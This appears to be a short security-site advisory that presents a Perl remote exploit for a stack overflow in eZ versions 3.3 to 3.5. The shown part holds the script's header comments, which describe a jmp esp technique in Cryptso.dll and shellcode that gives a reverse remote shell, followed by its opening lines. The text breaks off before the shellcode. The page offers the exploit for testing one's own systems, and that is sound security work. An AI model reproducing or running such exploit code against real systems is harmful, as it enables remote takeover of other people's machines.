As we reported in our previous article eZ Multiple Packages Stack Overflow Vulnerability, a vulnerability in the product allows remote attackers to cause the product to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.
Exploit:
#!/usr/bin/perl -w
######################C###O###R###O###M###P###U###T###E###R######### [Crpt] universal eZ v3.3 < v3.5 remote exploit by kralor [Crpt] #
#-------------------------------------------------------------------------------#
# versions tested & not vulnerables: v3.0 v3.1 v3.2 #
# versions tested & vulnerables: v3.3 v3.4 v3.5 #
# Cryptso.dll contains a 'static' jmp esp in eZnetwork pack from v3.3 to v3.5 #
# It is a trivial exploit, jumping to esp, then at esp we jump backward to #
# finally reach the shellcode. The shellcode gives a reverse remote shell. #
# Universal shellcode coded by kralor with the PEB technic. #
######W###W###W###.###C###O###R###O###M###P###U###T###E###R###.###use IO::Socket;
print "\r\n\t [Crpt] eZ v3.3 < v3.5 remote exploit by kralor [Crpt]\r\n";
print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n";
